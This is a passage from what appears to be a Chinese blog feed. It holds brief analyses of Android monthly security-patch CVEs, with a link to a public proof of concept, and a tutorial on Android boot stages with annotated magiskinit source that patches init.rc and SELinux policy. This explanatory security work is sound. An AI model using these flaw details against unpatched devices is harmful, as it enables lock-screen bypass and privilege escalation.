profile)内的应用监听通知,只给 13 14 更新了,应该是以前正常的功能,大版本迭代不小心引入。</p><p>CVE-2024-0017 ID High<br>Camera2 如果是被其他 app 启动,而且启动它的这个 app 没有位置权限,返回的照片 exif 信息里不应该包含位置信息。之前的代码里有做判断,但是有问题,getCallingPackage 返回 null 的时候一律判定为不是 app 启动不需要过滤,但是如果 app 用 startActivity 而非 startActivityForResult ,getCallingPackage 本来就会返回 null,算是逻辑 bug。</p><p>CVE-2024-0020 ID High<br>设置铃声的时候检查传入的 URI,防止指向别的用户的数据。最近这种问题似乎很多很多。</p><h2 id="2023-12-01"><a href="#2023-12-01" class="headerlink" title="2023-12-01"></a>2023-12-01</h2><p>可能在野被积极利用的漏洞:CVE-2023-33063、CVE-2023-33107、CVE-2023-33106</p><h3 id="Framework-12"><a href="#Framework-12" class="headerlink" title="Framework"></a>Framework</h3><p>CVE-2023-40077 EoP Critical<br>libstagefright 里的 UAF 问题</p><p>CVE-2023-40076 ID Critical<br>CredentialManagerUi 跑在 system_server,且创建 PendingIntent 的时候没有指定用户,默认会去用 context 对应的用户,然后指向 USER 0,其他用户拿到这个 PendingIntent 然后 send 就能跳转到主用户的凭据管理页面。不知道为什么定级这么高</p><p>CVE-2023-40079 EoP High<br>ShortcutService 启动 app 给出的 IntentSender 时指定 MODE_BACKGROUND_ACTIVITY_START_DENIED 防止 BAL</p><p>CVE-2023-40089 EoP High<br>DevicePolicyService.getCredentialManagerPolicy 需要传入 userId。感觉这个漏洞的实际影响情况可能是有跨用户权限的进程需要拿到其他用户的东西但是因为之前的设计问题所以拿不到?</p><p>CVE-2023-40094 EoP High<br>keyguardGoingAway 这个方法没检查调用者权限,然后所有 app 都能调用这个方法解除锁屏。</p><p>CVE-2023-40095 EoP High<br>又是一个忘了指定禁止 BAL 造成的 BAL bypass,这次是 requestGeofence 。</p><p>CVE-2023-40096 EoP High<br>更改的文件比较多,看起来是设置录音权限为仅前台时应用退到后台还会继续录音的问题。</p><p>CVE-2023-40103 EoP High<br>看提交信息是用 ApkAssets 的时候改成用基于引用计数的指针,防止 UAF/double free</p><p>CVE-2023-45774 EoP High<br>ShortcutService 校验传入的 uri。看 cve 描述是能指定其他用户的图像。</p><p>CVE-2023-45777 EoP High<br><del>最看不懂的一集<br>给了两个提交,第一个提交和九月份的 CVE-2023-35669 补丁是一样的,当时这个漏洞描述是 “there is a possible way to control other running activities”,第二个提交只是把弃用不带类型的 getParcelable 改成类型安全的,然而底下明明就有手动的类型检查,我觉得缺这个提交也没法利用,不知道为什么又分配了一个 CVE。看这个 CVE 的描述是能 Launch Anywhere ,不知道怎么能做到。</del></p><p>AccountManagerService 里使用不带参数类型的 <code>getParcelable()</code> 方法可能会导致反序列化出非预期的对象,调用到其他类的构造方法,导致 parcel 数据被修改,绕过 <code>checkKeyIntentParceledCorrectly</code> 的缓解措施。PoC: <a href="https://github.com/michalbednarski/TheLastBundleMismatch" target="_blank" rel="noopener">https://github.com/michalbednarski/TheLastBundleMismatch</a></p><p>CVE-2023-21267 ID High<br>在 lockdown 模式始终展示锁屏。看起来是有 app pinning 的时候尝试 lockdown 会因为逻辑错误跳过显示锁屏。</p><p>CVE-2023-40073 ID High<br>Notification style 相关的 uri 校验</p><p>CVE-2023-40081 ID High<br>MediaDataManager URI 校验。截止目前已经是第三个了。</p><p>CVE-2023-40092 ID High<br>ShortcutService 多个函数检查 user id,防止跨用户操作</p><p>CVE-2023-40074 DoS High<br>PersistableBundle 忽略无效数据,防止拒绝服务。</p><p>CVE-2023-40075 DoS High<br>限制能通过 addDynamicShortcuts 添加的快捷方式的数量。</p><h3 id="System-12"><a href="#System-12" class="headerlink" title="System"></a>System</h3><p>这里面大部分洞都是比较传统的内存损坏,所以跳过了很多漏洞。</p><p>CVE-2023-40088 RCE Critical<br>蓝牙相关,com_android_bluetooth_btservice_AdapterService free callbackEnv 这个指针后没有置空,可能发生 UAF。不知道是不是我的错觉,总感觉近几个月能 RCE 的漏洞好像变多了。</p><p>CVE-2023-40097 EoP High<br>禁止创建目标为 Chooser 的快捷方式。没看懂有什么意义,看 CVE 描述是 URI grant。</p><p>CVE-2023-21394 ID High<br>添加 phone account 时检查给定的 URI,防止跨用户读取图片。嗯,第四个了。</p><p>CVE-2023-35668 ID High<br>又是 URI 相关的跨用户读取,这次还是 Notification 里……</p><p>CVE-2023-40098 ID High<br>看起来是有个叫 priority conversation widget 的东西,其他用户添加这个 widget 能看见主用户的通知。解决方法就是不让其他用户添加。</p>]]></content>
<summary type="html">
<p>之前一直在看的每月补丁分析的博客 <a href="https://wrlus.com/" target="_blank" rel="noopener">https://wrlus.com/</a> 看起来是不再更新了,想了想反正自己每个月也要去追着看,干脆写一下分析得了,方便自己后面找。</p><p>本人很菜,分析的大部分都是 Java 层漏洞,大佬别骂我 QAQ</p><p>最初发表在我的 telegram 频道。每月补丁都会在此文中更新。</p><p>最后更新时间:2024/12/08 更新内容:更新 2024-12</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="system" scheme="https://blog.canyie.top/tags/system/"/>
<category term="安全" scheme="https://blog.canyie.top/tags/%E5%AE%89%E5%85%A8/"/>
<category term="安全补丁分析栏目" scheme="https://blog.canyie.top/tags/%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81%E5%88%86%E6%9E%90%E6%A0%8F%E7%9B%AE/"/>
</entry>
<entry>
<title>在故事开始之前的故事:Android 启动过程与 magiskinit 分析</title>
<link href="https://blog.canyie.top/2023/11/12/android-booting-shenanigans-and-magiskinit-analysing/"/>
<id>https://blog.canyie.top/2023/11/12/android-booting-shenanigans-and-magiskinit-analysing/</id>
<published>2023-11-12T07:00:00.000Z</published>
<updated>2024-02-25T16:05:43.985Z</updated>
<content type="html"><![CDATA[<p>终于开了一直想写的这篇文章,再不写点东西就真的是年更博客了……</p><p>本文可以认为是 <a href="https://topjohnwu.github.io/Magisk/boot.html" target="_blank" rel="noopener">Android Booting Shenanigans</a> 的中文补充说明,同时添加了 magiskinit 的一些处理细节。即使你对 magiskinit 没兴趣也可以看看,说不定就有一些你平时从来没注意到的细节呢 :)</p><a id="more"></a><h2 id="Android-Init"><a href="#Android-Init" class="headerlink" title="Android Init"></a>Android Init</h2><p>在介绍 init 执行过程前,我们先来介绍一下 init 是什么。</p><p>init 由 Linux 内核直接启动,是 Android 启动时用户空间的第一个进程,它的 pid 为 1。它承担了挂载关键系统分区、加载 SELinux policy、启动 property service、加载并执行启动脚本(init.rc)等重要工作。我们所熟知的 zygote、service manager 等进程就是被写在了 init.rc 内由 init 负责启动的。由于 init 进程的重要性,<a href="https://source.android.com/docs/security/overview/updates-resources#context_types" target="_blank" rel="noopener">在安全层面它被视为内核的等效组件之一</a>。</p><p>抛开细节不谈,init 所做的重要的事情大概有这些:</p><ol><li>挂载 <code>/dev</code> <code>/proc</code> <code>/sys</code> 等重要文件系统,创建 <code>/dev/urandom</code> 等设备</li><li>加载 SELinux policy 进 kernel</li><li>启动 property service 处理 setprop 等事件</li><li>执行 <code>init.rc</code>,完成系统剩余的启动流程,如解密 userdata、启动 zygote 等</li></ol><h3 id="旧-rootfs-时代纯粹的-init"><a href="#旧-rootfs-时代纯粹的-init" class="headerlink" title="旧 rootfs 时代纯粹的 init"></a>旧 rootfs 时代纯粹的 init</h3><p><a href="http://aospxref.com/android-5.0.2_r3/xref/system/core/init/init.c#1001" target="_blank" rel="noopener">Android 5.0.2 init.c</a>,点进去搜索 main 查看源码,整个逻辑非常清晰,大概就是上面的列表做的事情,没什么好讲的。</p><p>在这个时候,启动流程大概如下所示:</p><ol><li>Bootloader 加载 boot.img</li><li>解压运行里面的 kernel</li><li>kernel 初始化后,调用 <code>populate_rootfs()</code> 将 boot.img 内的 ramdisk 释放到 <code>/</code></li><li>运行 <code>/init</code>,此时因为 <code>/</code> 这个根文件系统的文件是从 boot.img 的 ramdisk 中来的,所以会运行 boot ramdisk 里的 init</li><li>init 完成用户空间的初始化工作,继续开机</li></ol><p>到了 <a href="http://aospxref.com/android-6.0.1_r9/xref/system/core/init/init.cpp#989" target="_blank" rel="noopener">Android 6.0 init.cpp</a>,事情发生了一些变化:init 分了阶段。kernel 直接启动时,init 处在“一阶段”,此时 init 需要做一些用户空间的初始化工作,加载 SELinux policy,而此时因为 init 由 kernel 直接启动,它的 SELinux context 会是 <code>u:r:kernel:s0</code>,所以它会 exec 它本身来 transition 到它专属的 SELinux domain(<code>u:r:init:s0</code>)。也就是说,上面的第 5 步被拆分为下面几小步:</p><ul><li>进行挂载 <code>/dev</code> 等必要的初始化</li><li>加载 SELinux policy</li><li>重新执行 init 本身,让进程的 SELinux domain 由 kernel 转换到 init</li><li>完成剩下的初始化,继续开机</li></ul><p>这就是以前 Android 设备启动的方式。如果你在这些设备开机完成后查看 mounts 你会看见这样的东西:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rootfs / rootfs ro,relatime 0 0</span><br></pre></td></tr></table></figure><p>这代表 <code>/</code> 的文件系统类型是 rootfs,而 rootfs 是由 kernel 挂载 boot.img 内的 ramdisk 上去的。</p><h3 id="Project-Treble-带来的旧式-system-as-root-分区布局"><a href="#Project-Treble-带来的旧式-system-as-root-分区布局" class="headerlink" title="Project Treble 带来的旧式 system-as-root 分区布局"></a>Project Treble 带来的旧式 system-as-root 分区布局</h3><p>到了 Android 8.0 时代(其实从 7.1 就开始准备了),Google 推出了 <a href="https://source.android.com/devices/architecture#hidl" target="_blank" rel="noopener">Project Treble</a>。为了实现 Project Treble 及相关的 Generic System Image,<code>/</code> 需要和系统相绑定。Google 选择了推出名为 system-as-root (以下简称为 SAR)的新分区布局。简单来说,<code>/</code> 这个根文件系统中的内容不再来自 boot.img 内的 ramdisk,而是来自 system.img。为了实现这一行为,设备的 bootloader 在启动内核时会传递启动参数 <code>skip_initramfs</code>,设备的内核会看见这一参数,从而跳过 boot.img 内的 ramdisk 而是直接挂载 system.img 到 <code>/</code>。如果你在这些设备上查看 mounts,你会发现 <code>/</code> 的文件系统类型变成了 <code>ext4</code>(或 <code>erofs</code>?)而不是 rootfs。</p><p>同时,还出现了一个新的东西,<a href="https://source.android.com/devices/tech/ota/ab" target="_blank" rel="noopener">A/B (Seamless) System Update (即所谓的 A/B 分区)</a>。设备的 boot/system/vendor 等关键分区现在其实有两个,一个会被使用,而另一个用作后备。当系统更新的时候,更新包其实会被写入后备分区。这样的好处时,当更新导致无法开机的时候,因为有另一个分区存储着可以开机的系统,设备可以自动回退到上一个可以开机的版本。副作用也很明显:这些分区本来只需要一个的,现在每个都需要两个,直接 double 了,需要更大的存储空间(之后 Google 还引入了 Virtual A/B,不过这都是后话了,对我们不重要)。</p><p>怎么减少要用的存储空间呢?在之前,Android 设备需要一个 recovery 分区,里面存储着一个小型的 Linux 系统,用于在设备无法开机时可以进入 recovery 模式,从而恢复系统。虽然引入了 A/B 分区,但是 recovery 模式仍然需要保留,而 recovery 分区则不一定。对于 A/B 设备来说,由于 <code>boot</code> 现在有两个,即使其中一个分区因为不完整的系统更新被破坏,另一个也存储着完整的、未受破坏的 boot.img,所以 boot 至少有一个是可用的;而正常开机的时候,内核会直接挂载 <code>system.img</code> 到 <code>/</code>,boot 内的 ramdisk 未被使用,所以可以用来放 recovery 的 ramdisk。此时,设备的开机流程如下所示:</p><ul><li>bootloader 判断设备是正常启动,还是要启动到 recovery</li><li>如果是正常启动,传递参数 <code>skip_initramfs</code></li><li>内核如果看见了 bootloader 传递过来的 <code>skip_initramfs</code>,就代表设备要正常启动,直接挂载 system.img 到 <code>/</code>;否则就是要启动到 recovery,因为 recovery 的 ramdisk 现在同样放在 boot,释放 boot.img 里的 ramdisk 到 <code>/</code></li><li>执行 init,继续启动流程。对于正常开机,这里 init 直接来自 system.img。</li></ul><p>而对于非 A/B 的设备,因为 boot 只有一个,可能会在 OTA 中被破坏,为了保证设备始终有可用的 recovery,它们仍然保留了 recovery 分区。boot 内的 ramdisk 根本不会被使用到,所以 boot.img 内根本没有 ramdisk,同时设备的 bootloader 可能会直接把 boot ramdisk 给排除掉(看 OEM 怎么实现的,像三星等大部分厂商就会排除,但是小米等小部分厂商就不会)。</p><p>虽然 Google 在推出它时将其直接称为 system-as-root,但为了与下文的 2-Stage-Init System-as-root 区分开来,我们把它称为 Legacy SAR。Legacy SAR 对于出厂版本在 Android 9.0 以下的设备是可选的,但对于出厂 Android 9.0 的设备是强制的。</p><h3 id="Android-10-:有三步的两步启动!"><a href="#Android-10-:有三步的两步启动!" class="headerlink" title="Android 10+:有三步的两步启动!"></a>Android 10+:有三步的两步启动!</h3><p>随着时间继续推移,到 Android 10 时,Google 推出了<a href="https://source.android.com/devices/tech/ota/dynamic_partitions/implement" target="_blank" rel="noopener">动态分区</a>。对于上文提到的 Legacy SAR 来说,这是不可能的,因为 Linux 内核无法直接理解这种新的分区格式,无法将 <code>system</code> 挂载到 <code>/</code>。</p><p>Google 的解决办法是:继续重写,发明新的启动方式!新的启动方式分为以下几步:</p><ul><li>像旧式 rootfs 一样,boot.img 内的 ramdisk 会被释放到 <code>/</code></li><li>执行 <code>/init</code>,所以 boot.img 内的 <code>/init</code> 会被执行</li><li><code>init</code> 进入“第一阶段”,初始化用户空间,挂载 <code>/system</code></li><li>执行一个 switch root 操作,将 rootdir 切换到 <code>/system</code>。现在的 <code>/</code> 其实是 switch root 之前的 <code>/system</code>。</li><li>此时,设备的分区布局由旧式的 rootfs 变为 system-as-root。接下来是加载 SELinux policy,而这一步应该和 system 绑定,所以 init 选择执行 system 内的 init 来完成这一步。</li><li>system 内的 init 收到前辈传来的 <code>selinux_setup</code> 参数,进入“第二阶段”,加载 SELinux policy。然后,为了把 SELinux domain 从 <code>kernel</code> 切到 <code>init</code>,init 再次执行自己。</li><li>init 再次被 exec,进入“第三阶段”,完成剩下的初始化工作,继续开机。</li></ul><p>(可以查看 <a href="http://aospxref.com/android-10.0.0_r47/xref/system/core/init/main.cpp" target="_blank" rel="noopener">Android 10.0 init main.cpp</a>,里面的代码很详细)。</p><p>我们把这种新的启动方式称为 2-Stage-Init (简称为 2SI)。由于开机完成后,设备的 rootdir 和 Legacy SAR 一样是 system,所以我们仍然把这种分区布局看作是 system-as-root(虽然以 Google 的标准,只有 Legacy SAR 才被看作 SAR)。</p><p>……慢着!明明 init 会被执行三次了,为什么把它称为“两步启动”?</p><p>这是因为,这种启动方式会在用户空间改变 rootdir,从 rootfs 改变为 system-as-root,而上面提到的其他两种都不会改变 rootdir。我们把 switch root 之前称为“第一步”,把 switch root 之后称为“第二步”,就得到和其他两种启动方式所区分开的名字:2SI。</p><p>对于出厂 Android 10+ 的设备来说,这种启动方式是<a href="https://source.android.com/docs/core/architecture/partitions/system-as-root" target="_blank" rel="noopener">强制的</a>;从使用 rootfs 的旧系统更新到 Android 10+ 时,也需要使用这种新的启动方式;但对于使用 Legacy SAR 的设备,它们可以继续使用 Legacy SAR。典型的例子是 Google Pixel 3 & 3a 系列,出厂时它们使用 Legacy SAR,但 Google 对其进行了改进,使得升级到 Android 10 后它们转为使用 2SI 方式启动。</p><p>由于 Legacy SAR 和 2SI 最后都会使用 system-as-root 分区布局,所以搭载 Android 10+ 的设备其实都会使用 SAR。<a href="https://source.android.com/docs/core/architecture/partitions/system-as-root#about-system-only-otas" target="_blank" rel="noopener">文档</a> 中也提到 <code>All devices running Android 10 must use a system-as-root partition layout to enable system-only OTAs.</code>。</p><p>注:在 Android 10+ 上使用 Legacy SAR 时,由于 Android 10 的 init 写死了会执行三次,所以也会有 first stage、setup selinux、second stage 这三步;虽然 rootdir 没有发生改变,为了与 Android 9.0 Legacy SAR 区别,我们把这种情况称为 <code>2SI legacy SAR</code> 或 <code>Legacy SAR with 2SI</code>,而本节中提到的会改变 rootdir 的启动方式称为 <code>modern 2SI</code>、<code>2SI ramdisk SAR</code> 或 <code>2SI from initramfs</code>。当我们使用简称 <code>2SI</code> 时,我们默认指的是 <code>Modern 2SI</code>。</p><p>关于更多细节,可以查阅官方的 <a href="https://android.googlesource.com/platform/system/core/+/master/init/README.md#early-init-boot-sequence" target="_blank" rel="noopener">Android Init - Early Init Boot Sequence</a></p><h3 id="魅族:2SI,但是从-rootfs-到-rootfs"><a href="#魅族:2SI,但是从-rootfs-到-rootfs" class="headerlink" title="魅族:2SI,但是从 rootfs 到 rootfs"></a>魅族:2SI,但是从 rootfs 到 rootfs</h3><p>(注:此种特殊行为在原版 Magisk - Android Booting Shenanigans 文档中并未列出)</p><p>上文提到,“搭载 Android 10+ 的设备其实都会使用 SAR”,但对于魅族 16 系列来说并非如此。搭载 Android 10 的魅族 16 系列设备启动时会经过上面 2SI 的所有步骤,除了 switch root 这一步。由于并没有 switch root,所以设备会一直使用 rootfs。</p><h2 id="MagiskInit"><a href="#MagiskInit" class="headerlink" title="MagiskInit"></a>MagiskInit</h2><p>先来介绍一下 magiskinit 是什么:magiskinit 是 magisk 的重要组件之一,magisk 正是通过替换 init 为自己的 magiskinit 实现劫持设备启动过程的。</p><p>可以通过查看<a href="https://topjohnwu.github.io/Magisk/details.html#pre-init" target="_blank" rel="noopener">文档</a>来大概了解 magiskinit 做了什么。接下来我们结合上面的知识以及 magiskinit 源码来具体分析。</p><p>注:截至发稿,本文分析的源码为 Magisk master 分支上的最新代码。最新 commit 为 <a href="https://github.com/topjohnwu/Magisk/tree/cfb20b0f86414d851b51e10cd633328d405ca4f7" target="_blank" rel="noopener">cfb20b0</a>,点进去可以浏览对应的文件。</p><p><strong>!!!硬核警告,非战斗人员请迅速逃离现场!!!</strong></p><p>由于 magiskinit 替换了 init,所以当内核执行 init 时,magiskinit 的 main() 会被执行。main() 的代码位于 init.cpp:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span> </span>{</span><br><span class="line"> umask(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> name = basename(argv[<span class="number">0</span>]);</span><br><span class="line"> <span class="keyword">if</span> (name == <span class="string">"magisk"</span>sv)</span><br><span class="line"> <span class="keyword">return</span> magisk_proxy_main(argc, argv);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (getpid() != <span class="number">1</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> BaseInit *init;</span><br><span class="line"> BootConfig config{};</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (argc > <span class="number">1</span> && argv[<span class="number">1</span>] == <span class="string">"selinux_setup"</span>sv) {</span><br><span class="line"> rust::setup_klog();</span><br><span class="line"> init = <span class="keyword">new</span> SecondStageInit(argv);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// This will also mount /sys and /proc</span></span><br><span class="line"> load_kernel_info(&config);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (config.skip_initramfs)</span><br><span class="line"> init = <span class="keyword">new</span> LegacySARInit(argv, &config);</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (config.force_normal_boot)</span><br><span class="line"> init = <span class="keyword">new</span> FirstStageInit(argv, &config);</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (access(<span class="string">"/sbin/recovery"</span>, F_OK) == <span class="number">0</span> || access(<span class="string">"/system/bin/recovery"</span>, F_OK) == <span class="number">0</span>)</span><br><span class="line"> init = <span class="keyword">new</span> RecoveryInit(argv, &config);</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (check_two_stage())</span><br><span class="line"> init = <span class="keyword">new</span> FirstStageInit(argv, &config);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> init = <span class="keyword">new</span> RootFSInit(argv, &config);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Run the main routine</span></span><br><span class="line"> init->start();</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们重点关注几个 if 分支。</p><h3 id="RootFSInit"><a href="#RootFSInit" class="headerlink" title="RootFSInit"></a>RootFSInit</h3><p>看名字就可以看出来,这就是用来处理上面提到的第一种分区布局 RootFS 的分支。类的定义在 init.hpp:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/************</span></span><br><span class="line"><span class="comment"> * Initramfs</span></span><br><span class="line"><span class="comment"> ************/</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RootFSInit</span> :</span> <span class="keyword">public</span> MagiskInit {</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">prepare</span><span class="params">()</span></span>;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> RootFSInit(<span class="keyword">char</span> *argv[], BootConfig *config) : MagiskInit(argv, config) {</span><br><span class="line"> LOGD(<span class="string">"%s\n"</span>, __FUNCTION__);</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">start</span><span class="params">()</span> override </span>{</span><br><span class="line"> prepare();</span><br><span class="line"> patch_rw_root();</span><br><span class="line"> exec_init();</span><br><span class="line"> }</span><br><span class="line">};</span><br></pre></td></tr></table></figure><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> RootFSInit::prepare() {</span><br><span class="line"> prepare_data();</span><br><span class="line"> LOGD(<span class="string">"Restoring /init\n"</span>);</span><br><span class="line"> <span class="comment">/** 把备份的原来的 init 重命名为 /init ,这样接下来我们执行 /init 的时候就会执行原本的 init **/</span></span><br><span class="line"> rename(backup_init(), <span class="string">"/init"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PRE_TMPSRC <span class="meta-string">"/magisk"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PRE_TMPDIR PRE_TMPSRC <span class="meta-string">"/tmp"</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> MagiskInit::patch_rw_root() {</span><br><span class="line"> mount_list.emplace_back(<span class="string">"/data"</span>);</span><br><span class="line"> parse_config_file();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create hardlink mirror of /sbin to /root</span></span><br><span class="line"> mkdir(<span class="string">"/root"</span>, <span class="number">0777</span>);</span><br><span class="line"> clone_attr(<span class="string">"/sbin"</span>, <span class="string">"/root"</span>);</span><br><span class="line"> link_path(<span class="string">"/sbin"</span>, <span class="string">"/root"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Handle overlays</span></span><br><span class="line"> load_overlay_rc(<span class="string">"/overlay.d"</span>);</span><br><span class="line"> mv_path(<span class="string">"/overlay.d"</span>, <span class="string">"/"</span>);</span><br><span class="line"> rm_rf(<span class="string">"/data/overlay.d"</span>);</span><br><span class="line"> rm_rf(<span class="string">"/.backup"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Patch init.rc</span></span><br><span class="line"> <span class="comment">/** 修补 init.rc,植入我们的代码,让 init 启动我们的服务 **/</span></span><br><span class="line"> patch_rc_scripts(<span class="string">"/"</span>, <span class="string">"/sbin"</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">bool</span> treble;</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">auto</span> init = mmap_data(<span class="string">"/init"</span>);</span><br><span class="line"> treble = init.contains(SPLIT_PLAT_CIL);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 因为 rootfs 是可写的,创建 /magisk,然后把 /magisk/tmp 当成 magisk 内部的 tmpfs,初始化 magisk 内部文件**/</span></span><br><span class="line"> xmkdir(PRE_TMPSRC, <span class="number">0</span>);</span><br><span class="line"> xmount(<span class="string">"tmpfs"</span>, PRE_TMPSRC, <span class="string">"tmpfs"</span>, <span class="number">0</span>, <span class="string">"mode=755"</span>);</span><br><span class="line"> xmkdir(PRE_TMPDIR, <span class="number">0</span>);</span><br><span class="line"> setup_tmp(PRE_TMPDIR);</span><br><span class="line"> chdir(PRE_TMPDIR);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Extract magisk</span></span><br><span class="line"> <span class="comment">/** 释放 magisk32 magisk64 等文件 **/</span></span><br><span class="line"> extract_files(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 修补 SELinux policy,注入我们的规则 **/</span></span><br><span class="line"> <span class="keyword">if</span> ((!treble && access(<span class="string">"/sepolicy"</span>, F_OK) == <span class="number">0</span>) || !hijack_sepolicy()) {</span><br><span class="line"> patch_sepolicy(<span class="string">"/sepolicy"</span>, <span class="string">"/sepolicy"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> chdir(<span class="string">"/"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Dump magiskinit as magisk</span></span><br><span class="line"> <span class="comment">/** 把 magiskinit 当成 magisk 复制到 /sbin/magisk。init 第一次启动我们的服务的时候,会进入 magisk_proxy_main **/</span></span><br><span class="line"> cp_afc(REDIR_PATH, <span class="string">"/sbin/magisk"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">magisk_proxy_main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span> </span>{</span><br><span class="line"> rust::setup_klog();</span><br><span class="line"> LOGD(<span class="string">"%s\n"</span>, __FUNCTION__);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Mount rootfs as rw to do post-init rootfs patches</span></span><br><span class="line"> xmount(<span class="literal">nullptr</span>, <span class="string">"/"</span>, <span class="literal">nullptr</span>, MS_REMOUNT, <span class="literal">nullptr</span>);</span><br><span class="line"></span><br><span class="line"> unlink(<span class="string">"/sbin/magisk"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Move tmpfs to /sbin</span></span><br><span class="line"> <span class="comment">// make parent private before MS_MOVE</span></span><br><span class="line"> <span class="comment">/** 选择 /sbin 作为新的 magisk internal tmpfs(因为 /sbin 在 PATH 里,把 su 等可执行文件放在里面,运行 su 的时候直接就能找到这个文件并执行) **/</span></span><br><span class="line"> xmount(<span class="literal">nullptr</span>, PRE_TMPSRC, <span class="literal">nullptr</span>, MS_PRIVATE, <span class="literal">nullptr</span>);</span><br><span class="line"> xmount(PRE_TMPDIR, <span 